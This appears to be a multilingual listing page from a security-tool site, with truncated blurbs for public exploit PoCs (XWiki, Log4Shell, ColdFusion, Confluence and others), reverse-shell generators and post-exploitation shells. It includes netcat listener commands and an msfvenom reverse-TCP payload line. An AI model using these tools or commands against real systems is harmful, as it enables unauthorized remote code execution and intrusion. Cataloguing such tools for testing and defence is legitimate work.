s3reverse

s3reverse インストール go get root@kitploit: $ go get -u github.com/hahwul/s3reverse snap root@kitploit: snap install s3reverse brew...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit Unauth RCE PoC for XWiki SolrSearch CVE-2025-24893. Command exec + reverse shell. CVE-2025-24893 – XWiki SolrSearch RCE PoC Proof-of-concept for the XWiki SolrSearch template injection leading to unauthenticated remote code execution. Tested against XWiki Debian 15.10.8...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell for CVE-2024-28397. Exploit works for js2py = v0.74 Requirements requests library pip install requests Python3 Netcat Or something that you can use as a listener for the reverse shell Usage For listener root@kitploit: nc -lnvp 4444 For exploit...

postshell

PostShell PostShellは、バインドシェルとバックコネクトシェルの両方を含むポストエクスプロイテーションシェルです。完全に対話型のTTYを作成し、ジョブ制御を可能にします。スタブサイズは約14kbで、任意のUnix系システムでコンパイルできます。 スクリーンショット 接続開始後のバナーとシェルとの対話。 なぜ従来のバックコネクト/バインドシェルを使わないのか？...

LFI-Destruction

🔥 LFI-Destruction – Authorized Penetration Testing Framework LFI-Destroyer is a comprehensive, modular Local File Inclusion LFI exploitation framework designed for authorized security professionals. It combines multiple attack techniques into a single, easy‑to‑use tool: SSH & Browser Artifact...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...

CVE-2025-14700-poc

CVE-2025-14700 POC Automatic exploit for Authenticated RCE in Crafty Controller --login --password --lhost --lport This script uses netcat to setup a listener after triggering the reverse shell payload, it won't work if you don't have netcat on your listener machine...

CVE-2021-44228-PoC

Self-contained lab environment PoC that runs a reverse-shell with Log4Shell CVE-2021-44228 This is a self-contained lab environment that runs the exploit safely, all from docker compose. The affected versions are Apache Log4j =2.0–2.14.1 and the CVE is tracked as CVE-2021-44228 CVSS score: 10.0. ...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Exploit Script 🔥 Intro This repository contains an exploit script for the React2Shell vulnerability CVE-2025–55182, which targets a specific type of Node.js Prototype Pollution leading to Remote Code Execution RCE. The script is specifically designed to establish a...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 Exploit This Python script automates the exploitation of a command injection vulnerability in Magnus Billing System v7, specifically in the icepay.php script located at /mbilling/lib/icepay/icepay.php. The exploit leverages the democ parameter to execute arbitrary command...

rsg

リバースシェルジェネレーター - rsg リバースシェルを実行するための様々な方法を生成するツール 使用例 リバースシェルの情報源 http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet...

log4shell4shell

log4shell4shell Log4j - Multitool. Find & fix possible CVE-2021-44228 vulneraries - provides a complete LOG4SHELL test/attack environment Features Check your Linux/Mac/BSD and Windows System for CVE-2021-44228 vulneraries Fix your system by deleting log4j java class / or setting some enviroment...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Proof-of-concept Chamilo LMS Unauthenticated Big Upload File that allows remote code execution CODE IS MADE AND USED FOR HACKTHEBOX CTF PERMX Unauthenticated file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS the php...

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 Exploit README.md Description This bash script automates the process of scanning for vulnerable MobileIron systems that are susceptible to the CVE-2023-38035 exploit. The script performs multiple checks, including checking for required programs, downloading potential...

Strapi-RCE

Strapi-RCE Exploit script showcasing a mixture of CVE-2019-18818 and CVE-2019-19609 for unauthenticated remote code execution in Strapi CMS. Exploit This script exploits a vulnerability in Strapi CMS versions 3.0.0-beta.17.4 and lower, allowing for unauthenticated remote code execution. Descripti...

pwncat

pwncat pwncatは、Linuxターゲット向けの ポストエクスプロイテーションプラットフォームです。基本的なバインドシェルやリバースシェルのラッパーとして始まり、そこから成長しました。攻撃者マシンからコードをステージングしながら、一般的なレッドチーム運用を効率化します。ターゲット上でコードを実行するのではありません。...

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit for RCE in Spring Cloud CVE 2022-22963 Exploit for CVE-2022-22963 remote command execution in Spring Cloud Function See for details about the vulnerability here and here PoC Run the netcat on your host: root@kitploit: $ nc -lvnp 9001 Run the exploit example with default port 9001 on...

php_reverse_shell

此存储库没有 README。...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass two method given to get flag's content: 1. copy it from host into container's mounted dir; 2. use reverse shell to get it;...

through_the_wire

Through the Wire Through the Wire 是一个针对 CVE-2022-26134 的概念验证利用，该漏洞是一个影响 Atlassian Confluence Server 和 Data Center 版本 = 7.13.6 LTS 及 = 7.18.0 "Latest" 的 OGNL 注入漏洞。最初这是一个在野利用的零日漏洞。 供应商公告 Volexity "在野" 利用分析 Rapid7 分析文章 Through the Wire 实现了两种不同的利用方式。反弹 shell 会调用 bash，因此更容易被检测到。文件读取器则直接在内存中执行，因此不易被检测到...